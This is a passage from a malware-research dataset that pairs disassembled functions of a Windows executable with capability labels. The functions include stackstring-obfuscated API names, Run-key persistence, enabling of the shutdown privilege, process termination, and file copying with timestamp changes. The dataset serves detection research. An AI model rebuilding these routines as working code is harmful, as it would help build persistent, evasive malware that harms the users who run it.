joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401945
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x18e88
call fcn.00405ab0
push ebx
push esi
lea ecx, [ebp - 0x18e88]
call fcn.00401acf
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x18e88]
push esi
push eax
call sub.MSVCRT.dll_wcscpy
lea eax, [esi + 0x208]
push eax
lea eax, [ebp - 0x18c80]
push eax
call sub.MSVCRT.dll_wcscpy
mov eax, dword [esi + 0x418]
add esp, 0x10
xor ebx, ebx
mov dword [ebp - 0x18a70], eax
mov eax, dword [esi + 0x41c]
push ebx
push 0x80
push 3
mov dword [ebp - 0x18a6c], eax
push ebx
push 3
lea eax, [ebp - 0x18c80]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4019e9
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, dword [ebp + 0x10]
push 4
mov dword [ebp + 8], eax
pop eax
push eax
mov dword [esi], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push dword [esi]
lea ecx, [ebp + 8]
jmp 0x401abf
mov ecx, dword [ebp - 0x18a6c]
mov eax, dword [ebp - 0x18a70]
mov dword [ebp - 4], ecx
lea ecx, [ebp - 4]
push ebx
push ecx
push eax
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea eax, [ebp + 8]
push ebx
push eax
lea eax, [ebp - 0x18a60]
push 0x18800
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18a64], eax
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x18c80]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
push 1
push ebx
push ebx
push dword [ebp - 0x23c]
call fcn.00405a70
mov esi, eax
mov eax, dword [ebp - 0x238]
mov ecx, edx
xor edx, edx
add esi, eax
mov eax, dword [ebp - 0x18a64]
adc ecx, edx
mov dword [ebp - 0x18a78], esi
cdq
add eax, dword [ebp - 0x18a70]
mov dword [ebp - 0x18a74], ecx
adc edx, dword [ebp - 0x18a6c]
cmp edx, ecx
jl 0x401a9b
jg 0x401a93
cmp eax, esi
jb 0x401a9b
mov byte [ebp - 0x18a68], bl
jmp 0x401aa2
mov byte [ebp - 0x18a68], 1
mov esi, dword [ebp + 0x10]
mov eax, 0x18c30
push eax
mov dword [esi], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push dword [esi]
lea ecx, [ebp - 0x18e88]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
pop esi
pop ebx
leave
ret 0xc
Function at 0x401b36
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push ebx
push esi
push edi
lea eax, [ebp - 0x844]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea eax, [ebp - 0x844]
push 0x5c
push eax
call sub.MSVCRT.dll_wcsrchr
mov esi, dword [ebp + 8]
mov word [eax], bx
push esi
mov dword [ebp - 8], 1
mov dword [ebp - 4], ebx
call sub.MSVCRT.dll_wcslen
add esp, 0xc
test eax, eax
jbe 0x401ba0
mov edi, esi
cmp word [edi], 0x5c
je 0x401b9d
inc dword [ebp - 4]
inc edi
push esi
inc edi
call sub.MSVCRT.dll_wcslen
cmp dword [ebp - 4], eax
pop ecx
jb 0x401b84
jmp 0x401ba0
mov dword [ebp - 8], ebx
lea eax, [ebp - 0x214]
push esi
push eax
call sub.MSVCRT.dll_wcscpy
cmp dword [ebp - 8], ebx
pop ecx
pop ecx
je 0x401be8
lea eax, [ebp - 0x844]
push eax
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_swprintf
lea eax, [ebp - 0x214]
push 0x407020
push eax
call sub.MSVCRT.dll_wcscat
lea eax, [ebp - 0x214]
push esi
push eax
call sub.MSVCRT.dll_wcscat
add esp, 0x18
push ebx
push 0x80
push 4
push ebx
push 3
lea eax, [ebp - 0x214]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401cca
mov ecx, dword [esi + 0x41c]
mov eax, dword [esi + 0x418]
mov dword [ebp - 8], ecx
lea ecx, [ebp - 8]
push ebx
push ecx
push eax
push edi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea eax, [ebp + 8]
push ebx
push eax
lea eax, [esi + 0x428]
push dword [esi + 0x424]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [ebp - 0x63c]
call fcn.00401cfc
lea eax, [ebp - 0x63c]
push esi
push eax
call sub.MSVCRT.dll_wcscpy
lea eax, [esi + 0x208]
push eax
lea eax, [ebp - 0x434]
push eax
call sub.MSVCRT.dll_wcscpy
mov eax, dword [ebp + 8]
xor ecx, ecx
add eax, dword [esi + 0x418]
mov dword [ebp - 0x22c], 2
adc ecx, dword [esi + 0x41c]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x224], eax
mov eax, 0x428
push eax
mov dword [ebp - 0x220], ecx
mov dword [esi], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push dword [esi]
lea ecx, [ebp - 0x63c]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x20
jmp 0x401cf5
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, dword [ebp + 0x10]
push 4
mov dword [ebp + 8], eax
pop eax
push eax
mov dword [esi], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push dword [esi]
lea ecx, [ebp + 8]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x401d43
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push dword [ebp + 8]
call sub.MSVCRT.dll_wcslen
push eax
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll__wcsnicmp
add esp, 0x10
test eax, eax
jne 0x401d82
push 0x64
pop eax
jmp 0x401d8b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
leave
ret 4

Function at 0x401d8f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
and byte [ebp - 0x1f], 0
lea eax, [ebp - 0x3c]
push esi
push eax
lea eax, [ebp - 0x1c]
xor esi, esi
and word [ebp - 4], si
push eax
mov word [ebp - 0x1c], 0x6b
mov word [ebp - 0x1a], 0x65
mov word [ebp - 0x18], 0x72
mov word [ebp - 0x16], 0x6e
mov word [ebp - 0x14], 0x65
mov word [ebp - 0x12], 0x6c
mov word [ebp - 0x10], 0x33
mov word [ebp - 0xe], 0x32
mov word [ebp - 0xc], 0x2e
mov word [ebp - 0xa], 0x64
mov word [ebp - 8], 0x6c
mov word [ebp - 6], 0x6c
mov byte [ebp - 0x3c], 0x57
mov byte [ebp - 0x3b], 0x6f
mov byte [ebp - 0x3a], 0x77
mov byte [ebp - 0x39], 0x36
mov byte [ebp - 0x38], 0x34
mov byte [ebp - 0x37], 0x45
mov byte [ebp - 0x36], 0x6e
mov byte [ebp - 0x35], 0x61
mov byte [ebp - 0x34], 0x62
mov byte [ebp - 0x33], 0x6c
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x57
mov byte [ebp - 0x30], 0x6f
mov byte [ebp - 0x2f], 0x77
mov byte [ebp - 0x2e], 0x36
mov byte [ebp - 0x2d], 0x34
mov byte [ebp - 0x2c], 0x46
mov byte [ebp - 0x2b], 0x73
mov byte [ebp - 0x2a], 0x52
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x64
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x63
mov byte [ebp - 0x23], 0x74
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0x6f
mov byte [ebp - 0x20], 0x6e
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x401e7c
push dword [ebp + 8]
call eax
mov esi, eax
mov eax, esi
pop esi
leave
ret 4

Function at 0x402243
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push edi
mov edi, 0x208
push eax
push esi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.DLL_GetComputerNameW]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
lea eax, [ebp - 4]
push 0
push eax
lea eax, [esi + 0x410]
mov dword [ebp - 4], edi
push eax
call ebx
push eax
call fcn.00402481
add esp, 0x10
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [esi + 0x73c], eax
lea eax, [esi + 0x618]
push eax
mov dword [eax], 0x11c
call fcn.004022e3
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDefaultLangID]
mov word [esi + 0x738], ax
call fcn.004023d7
mov dword [esi + 0x734], eax
lea eax, [ebp - 4]
push eax
lea eax, [esi + 0x208]
push eax
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [esi + 0x744], 0x3ec
call ebx
mov dword [esi + 0x748], eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4022e3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.DLL_GetVersionExW]
and word [ebp - 2], 0
mov esi, eax
lea eax, [ebp - 0x14]
mov word [ebp - 0x14], 0x6e
push eax
mov word [ebp - 0x12], 0x74
mov word [ebp - 0x10], 0x64
mov word [ebp - 0xe], 0x6c
mov word [ebp - 0xc], 0x6c
mov word [ebp - 0xa], 0x2e
mov word [ebp - 8], 0x64
mov word [ebp - 6], 0x6c
mov word [ebp - 4], 0x6c
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
test eax, eax
mov dword [ebp + 8], eax
je 0x4023d1
and byte [ebp - 0x16], 0
lea ecx, [ebp - 0x2c]
push ecx
push eax
mov byte [ebp - 0x2c], 0x52
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x6c
mov byte [ebp - 0x29], 0x47
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x74
mov byte [ebp - 0x26], 0x4e
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x56
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x73
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x4e
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x6d
mov byte [ebp - 0x1a], 0x62
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], 0x73
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x4023c8
lea esi, [edi + 0xc]
lea ecx, [edi + 8]
push esi
add edi, 4
push ecx
push edi
call eax
and word [esi + 2], 0
push 1
pop esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x4023d7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
and dword [ebp - 4], 0
and word [ebp - 0x18], 0
and byte [ebp - 6], 0
lea eax, [ebp - 0x14]
push esi
push eax
lea eax, [ebp - 0x28]
mov word [ebp - 0x28], 0x6b
push eax
mov word [ebp - 0x26], 0x65
mov word [ebp - 0x24], 0x72
mov word [ebp - 0x22], 0x6e
mov word [ebp - 0x20], 0x65
mov word [ebp - 0x1e], 0x6c
mov word [ebp - 0x1c], 0x33
mov word [ebp - 0x1a], 0x32
mov byte [ebp - 0x14], 0x49
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x57
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x77
mov byte [ebp - 0xf], 0x36
mov byte [ebp - 0xe], 0x34
mov byte [ebp - 0xd], 0x50
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x73
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40247b
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call esi
mov eax, dword [ebp - 4]
pop esi
leave
ret
Function at 0x4026af
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x754
xor eax, eax
push esi
push eax
push eax
push eax
lea ecx, [ebp - 8]
push eax
push ecx
push eax
mov byte [ebp - 1], al
push eax
lea eax, [ebp - 4]
push eax
mov byte [ebp - 4], 0x63
mov byte [ebp - 3], 0x3a
mov byte [ebp - 2], 0x5c
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
lea ecx, [ebp - 0x754]
call fcn.0040275e
lea eax, [ebp - 0x754]
push eax
call fcn.00402243
lea eax, [ebp - 0x344]
push eax
call sub.MSVCRT.dll_wcslen
shl eax, 1
push eax
lea eax, [ebp - 0x344]
push eax
call fcn.004027d0
mov esi, eax
lea eax, [ebp - 0x54c]
push eax
call sub.MSVCRT.dll_wcslen
shl eax, 1
push eax
lea eax, [ebp - 0x54c]
push eax
call fcn.004027d0
imul esi, eax
lea eax, [ebp - 0x754]
push eax
call sub.MSVCRT.dll_wcslen
shl eax, 1
push eax
lea eax, [ebp - 0x754]
push eax
call fcn.004027d0
imul esi, eax
imul esi, dword [ebp - 8]
add esp, 0x28
imul esi, dword [ebp + 8]
mov eax, esi
pop esi
leave
ret

Function at 0x4027d0
Capabilities:
Encode data using xor

Disassembly:
push esi
or esi, 0xffffffff
cmp byte [0x4077bc], 0
jne 0x4027e9
call fcn.0040281c
mov byte [0x4077bc], 1
xor eax, eax
cmp dword [esp + 0xc], eax
jle 0x402816
mov ecx, dword [esp + 8]
mov edx, esi
and edx, 0xff
movzx ecx, byte [eax + ecx]
xor ecx, edx
shr esi, 8
mov ecx, dword [ecx*4 + 0x4073bc]
xor esi, ecx
inc eax
cmp eax, dword [esp + 0xc]
jl 0x4027f1
mov eax, esi
pop esi
not eax
ret

Function at 0x40281c
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor edx, edx
mov ecx, 0x4073bc
push 8
mov eax, edx
pop esi
test al, 1
je 0x402836
shr eax, 1
xor eax, 0xedb88320
jmp 0x402838
shr eax, 1
dec esi
jne 0x402829
mov dword [ecx], eax
add ecx, 4
inc edx
cmp ecx, 0x4077bc
jl 0x402824
pop esi
ret

Function at 0x402865
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
lea eax, [ebp - 4]
push esi
push eax
push 0x20
xor esi, esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402944
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], 1
push eax
lea eax, [ebp - 0x3c]
push eax
push esi
mov word [ebp - 0x3c], 0x53
mov word [ebp - 0x3a], 0x65
mov word [ebp - 0x38], 0x53
mov word [ebp - 0x36], 0x68
mov word [ebp - 0x34], 0x75
mov word [ebp - 0x32], 0x74
mov word [ebp - 0x30], 0x64
mov word [ebp - 0x2e], 0x6f
mov word [ebp - 0x2c], 0x77
mov word [ebp - 0x2a], 0x6e
mov word [ebp - 0x28], 0x50
mov word [ebp - 0x26], 0x72
mov word [ebp - 0x24], 0x69
mov word [ebp - 0x22], 0x76
mov word [ebp - 0x20], 0x69
mov word [ebp - 0x1e], 0x6c
mov word [ebp - 0x1c], 0x65
mov word [ebp - 0x1a], 0x67
mov word [ebp - 0x18], 0x65
mov word [ebp - 0x16], si
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push esi
push esi
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push dword [ebp - 4]
mov esi, eax
neg esi
sbb esi, esi
inc esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
pop esi
leave
ret
Function at 0x402949
Capabilities:
Enumerate process modules
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c48
call fcn.00405ab0
push ebx
xor ebx, ebx
push esi
push ebx
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
lea ecx, [ebp - 0x240]
mov dword [ebp - 8], eax
push ecx
push eax
mov dword [ebp - 0x240], 0x22c
call sub.KERNEL32.DLL_Process32FirstW
push dword [ebp + 0x10]
mov esi, eax
lea eax, [ebp - 0x448]
mov word [ebp - 0x14], 0x2e
push eax
mov word [ebp - 0x12], 0x65
mov word [ebp - 0x10], 0x78
mov word [ebp - 0xe], 0x65
mov word [ebp - 0xc], bx
call sub.MSVCRT.dll_wcscpy
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x448]
push eax
call sub.MSVCRT.dll_wcscat
add esp, 0x10
cmp esi, ebx
je 0x402ac7
push edi
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x21c]
push eax
call sub.MSVCRT.dll__wcslwr
pop ecx
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
jne 0x402aaf
mov eax, dword [ebp - 0x238]
cmp eax, dword [ebp + 0xc]
je 0x402aaf
push eax
push ebx
push 0x411
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x402aaf
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1c44]
mov dword [ebp - 0x1c48], ebx
rep stosd dword es:[edi], eax
mov ecx, 0x1ff
lea edi, [ebp - 0xc46]
mov word [ebp - 0xc48], bx
mov dword [ebp + 0x10], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x1c48]
push 0x1000
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
test dword [ebp + 0x10], 0xfffffffc
mov dword [ebp - 4], ebx
jbe 0x402aa8
lea edi, [ebp - 0x1c48]
lea eax, [ebp - 0xc48]
push 0x800
push eax
push dword [edi]
push esi
call sub.PSAPI.DLL_GetModuleFileNameExW
push dword [ebp + 8]
lea eax, [ebp - 0xc48]
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
jne 0x402a97
push 4
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
shr eax, 2
add edi, 4
cmp dword [ebp - 4], eax
jb 0x402a65
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x240]
push eax
push dword [ebp - 8]
call sub.KERNEL32.DLL_Process32NextW
test eax, eax
jne 0x4029c5
pop edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop esi
mov al, 1
pop ebx
leave
ret
Function at 0x402ad6
Capabilities:
Contain obfuscated stackstrings
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x870
push edi
xor edi, edi
push 0x800
lea eax, [ebp - 0x870]
push edi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 8]
mov word [ebp - 0x14], 0x25
push eax
lea eax, [ebp - 0x14]
push eax
mov word [ebp - 0x12], 0x73
mov word [ebp - 0x10], 0x20
mov word [ebp - 0xe], 0x2d
mov word [ebp - 0xc], di
mov word [ebp - 8], 0x72
mov word [ebp - 6], di
call sub.MSVCRT.dll_wcscat
push dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x870]
push eax
call sub.MSVCRT.dll_swprintf
add esp, 0x20
mov word [ebp - 0x70], 0x53
mov word [ebp - 0x6e], 0x4f
mov word [ebp - 0x6c], 0x46
push 0x5c
mov word [ebp - 0x6a], 0x54
pop edx
mov word [ebp - 0x68], 0x57
push 0x6f
mov word [ebp - 0x66], 0x41
pop ecx
mov word [ebp - 0x64], 0x52
push 0x6e
mov word [ebp - 0x62], 0x45
pop eax
mov word [ebp - 0x60], dx
mov word [ebp - 0x46], ax
mov word [ebp - 0x30], ax
mov word [ebp - 0x20], ax
mov word [ebp - 0x18], ax
lea eax, [ebp - 4]
mov word [ebp - 0x5e], 0x4d
push eax
mov word [ebp - 0x5c], 0x69
mov word [ebp - 0x5a], 0x63
mov word [ebp - 0x58], 0x72
mov word [ebp - 0x56], cx
mov word [ebp - 0x54], 0x73
mov word [ebp - 0x52], cx
mov word [ebp - 0x50], 0x66
mov word [ebp - 0x4e], 0x74
mov word [ebp - 0x4c], dx
mov word [ebp - 0x4a], 0x57
mov word [ebp - 0x48], 0x69
mov word [ebp - 0x44], 0x64
mov word [ebp - 0x42], cx
mov word [ebp - 0x40], 0x77
mov word [ebp - 0x3e], 0x73
mov word [ebp - 0x3c], dx
mov word [ebp - 0x3a], 0x43
mov word [ebp - 0x38], 0x75
mov word [ebp - 0x36], 0x72
mov word [ebp - 0x34], 0x72
mov word [ebp - 0x32], 0x65
mov word [ebp - 0x2e], 0x74
mov word [ebp - 0x2c], 0x56
mov word [ebp - 0x2a], 0x65
mov word [ebp - 0x28], 0x72
mov word [ebp - 0x26], 0x73
mov word [ebp - 0x24], 0x69
mov word [ebp - 0x22], cx
mov word [ebp - 0x1e], dx
mov word [ebp - 0x1c], 0x52
mov word [ebp - 0x1a], 0x75
mov word [ebp - 0x16], di
lea eax, [ebp - 0x70]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x402c5b
xor eax, eax
jmp 0x402ca2
cmp dword [ebp + 0x10], edi
je 0x402c6e
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x402c96
lea eax, [ebp - 0x870]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x870]
push eax
push 1
push edi
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
pop edi
leave
ret
Function at 0x402ca5
Capabilities:
Enumerate files on windows
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x670
push ebx
push esi
xor esi, esi
push edi
mov ebx, 0x80
push esi
mov edi, dword [sym.imp.KERNEL32.DLL_CreateFileW]
push ebx
push 3
push esi
push 3
push 0x80000000
push dword [ebp + 8]
call edi
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x402d36
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push eax
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [ebp - 4]
mov dword [ebp + 8], eax
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 0x10]
push esi
push eax
push dword [ebp - 4]
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
push ebx
push 2
push esi
push 3
push 0x40000000
push dword [ebp + 0xc]
call edi
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x402d3d
push dword [ebp + 8]
call fcn.00405a0a
pop ecx
xor eax, eax
jmp 0x402e64
lea eax, [ebp - 0xc]
push esi
push eax
push dword [ebp - 4]
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp + 8]
call fcn.00405a0a
mov edi, 0x208
lea eax, [ebp - 0x670]
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 0xc]
lea eax, [ebp - 0x670]
push eax
call sub.MSVCRT.dll_wcscpy
lea eax, [ebp - 0x670]
push 0x5c
push eax
call sub.MSVCRT.dll_wcsrchr
mov word [eax], si
push edi
lea eax, [ebp - 0x468]
push esi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x670]
push eax
lea eax, [ebp - 0x468]
push eax
call sub.MSVCRT.dll_wcscpy
lea eax, [ebp - 0x468]
push 0x407020
push eax
call sub.MSVCRT.dll_wcscat
lea eax, [ebp - 0x468]
push 0x407030
push eax
call sub.MSVCRT.dll_wcscat
add esp, 0x44
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov edi, eax
mov eax, dword [ebp - 0x260]
and eax, 0x10
je 0x402e37
cmp eax, esi
je 0x402e23
lea eax, [ebp - 0x234]
push 0x40702c
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
je 0x402e23
lea eax, [ebp - 0x234]
push 0x407024
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
jne 0x402e37
lea eax, [ebp - 0x260]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
je 0x402e53
jmp 0x402de6
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x25c]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402e69
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and word [ebp - 0x12], 0
and byte [ebp - 3], 0
lea eax, [ebp - 0x10]
mov word [ebp - 0x20], 0x73
push eax
lea eax, [ebp - 0x20]
push eax
mov word [ebp - 0x1e], 0x68
mov word [ebp - 0x1c], 0x65
mov word [ebp - 0x1a], 0x6c
mov word [ebp - 0x18], 0x6c
mov word [ebp - 0x16], 0x33
mov word [ebp - 0x14], 0x32
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0xf], 0x68
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x45
mov byte [ebp - 0xa], 0x78
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x63
mov byte [ebp - 7], 0x75
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x57
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x402f05
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
leave
ret
xor eax, eax
leave
ret

Function at 0x402f09
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
and word [ebp - 2], 0
and byte [ebp - 0x11], 0
lea eax, [ebp - 0x28]
mov word [ebp - 0x10], 0x53
push eax
lea eax, [ebp - 0x10]
push eax
mov word [ebp - 0xe], 0x68
mov word [ebp - 0xc], 0x65
mov word [ebp - 0xa], 0x6c
mov word [ebp - 8], 0x6c
mov word [ebp - 6], 0x33
mov word [ebp - 4], 0x32
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x48
mov byte [ebp - 0x26], 0x47
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x53
mov byte [ebp - 0x22], 0x70
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x63
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x46
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x72
